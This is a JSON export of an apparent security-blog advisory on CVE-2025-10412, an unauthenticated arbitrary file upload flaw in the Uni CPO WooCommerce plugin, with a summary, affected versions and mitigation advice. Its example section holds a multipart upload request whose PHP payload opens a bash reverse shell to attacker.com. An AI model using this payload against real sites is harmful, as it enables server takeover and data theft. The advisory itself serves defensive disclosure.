{"id":79361,"date":"2025-09-29T21:55:47","date_gmt":"2025-09-29T21:55:47","guid":{"rendered":""},"modified":"2025-10-25T05:38:58","modified_gmt":"2025-10-25T11:38:58","slug":"cve-2025-10412-arbitrary-file-upload-vulnerability-in-woocommerce-plugin-leading-to-potential-remote-code-execution","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-10412-arbitrary-file-upload-vulnerability-in-woocommerce-plugin-leading-to-potential-remote-code-execution\/","title":{"rendered":"<strong>CVE-2025-10412: Arbitrary File Upload Vulnerability In WooCommerce Plugin Leading to Potential Remote Code Execution<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>Today, we are delving into an alarming security vulnerability, CVE-2025-10412, that threatens websites running on WordPress, specifically those using the WooCommerce plugin. This vulnerability lies within the Product Options and Price Calculation Formulas for WooCommerce &#8211; Uni CPO (Premium) plugin, and poses a serious risk due to its potential for remote code execution. Given the popularity of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9990-wordpress-helpdesk-integration-plugin-vulnerable-to-local-file-inclusion\/\"  data-wpil-monitor-id=\"87373\">WordPress and the widespread use of WooCommerce plugin<\/a> for online stores, this vulnerability could affect hundreds of thousands, if not millions, of websites globally. Its severity is further underscored by the high CVSS score of 9.8, indicating the extreme risk it poses to affected systems.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-10412<br \/>\nSeverity: Critical (CVSS: 9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26210-deepseek-xss-vulnerability-allows-potential-system-compromise\/\"  data-wpil-monitor-id=\"86623\">Potential system<\/a> compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1250486594\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49417-critical-deserialization-of-untrusted-data-vulnerability-in-woocommerce-product-multi-action-plugin\/\"  data-wpil-monitor-id=\"91452\">Product Options and Price Calculation Formulas for WooCommerce<\/a> &#8211; Uni CPO (Premium) | Up to and including 4.9.54<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53248-php-remote-file-inclusion-vulnerability-in-unfoldwp-magazine\/\"  data-wpil-monitor-id=\"86832\">vulnerability stems from misconfigured file<\/a> type validation in the &#8216;uni_cpo_upload_file&#8217; function of the WooCommerce plugin. This misconfiguration allows unauthenticated attackers to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-57148-arbitrary-file-upload-vulnerability-in-phpgurukul-online-shopping-portal-2-0\/\"  data-wpil-monitor-id=\"86566\">upload arbitrary files<\/a> to the server hosting the affected site. Since there is no proper validation of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-58819-unrestricted-file-upload-vulnerability-in-creedally-bulk-featured-image\/\"  data-wpil-monitor-id=\"86998\">file types uploaded<\/a>, an attacker can upload executable files or scripts. This could potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47099-heap-based-buffer-overflow-vulnerability-in-incopy-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"86789\">lead to remote code<\/a> execution, granting the attacker the ability to execute commands on the server, compromising the system, and possibly leading to data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3594398514\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited. An attacker could send a POST <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30256-denial-of-service-vulnerability-in-tenda-ac6-s-http-header-parsing-functionality\/\"  data-wpil-monitor-id=\"86855\">HTTP request with a malicious file to the vulnerable<\/a> endpoint:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/uni_cpo_upload_file HTTP\/1.1\nHost: vulnerablewebsite.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious.php&quot;\nContent-Type: application\/x-php\n&lt;?php exec(&quot;\/bin\/bash -c &#039;bash -i &gt;&amp; \/dev\/tcp\/attacker.com\/8080 0&gt;&amp;1&#039;&quot;); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker uploads a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48171-php-remote-file-inclusion-vulnerability-in-cena-store\/\"  data-wpil-monitor-id=\"86869\">PHP file<\/a> that, when executed, creates a reverse shell to the attacker&#8217;s server, thereby gaining control over the affected server.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The ideal mitigation for this vulnerability is to apply the vendor patch as soon as it is available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary measure to block any <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-1740-excessive-authentication-attempts-vulnerability-in-akinsoft-myrezzta\/\"  data-wpil-monitor-id=\"86721\">attempts to exploit this vulnerability<\/a>. It is also advisable to regularly update all plugins and ensure that <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-56265-arbitrary-file-upload-vulnerability-in-n8n-s-chat-trigger-component\/\"  data-wpil-monitor-id=\"87936\">file upload<\/a> functionality is appropriately secured with proper validation checks.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview Today, we are delving into an alarming security vulnerability, CVE-2025-10412, that threatens websites running on WordPress, specifically those using the WooCommerce plugin. This vulnerability lies within the Product Options and Price Calculation Formulas for WooCommerce &#8211; Uni CPO (Premium) plugin, and poses a serious risk due to its potential for remote code execution. Given [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-79361","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/79361","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=79361"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/79361\/revisions"}],"predecessor-version":[{"id":84571,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/79361\/revisions\/84571"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=79361"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=79361"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=79361"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=79361"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=79361"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=79361"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=79361"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=79361"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=79361"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}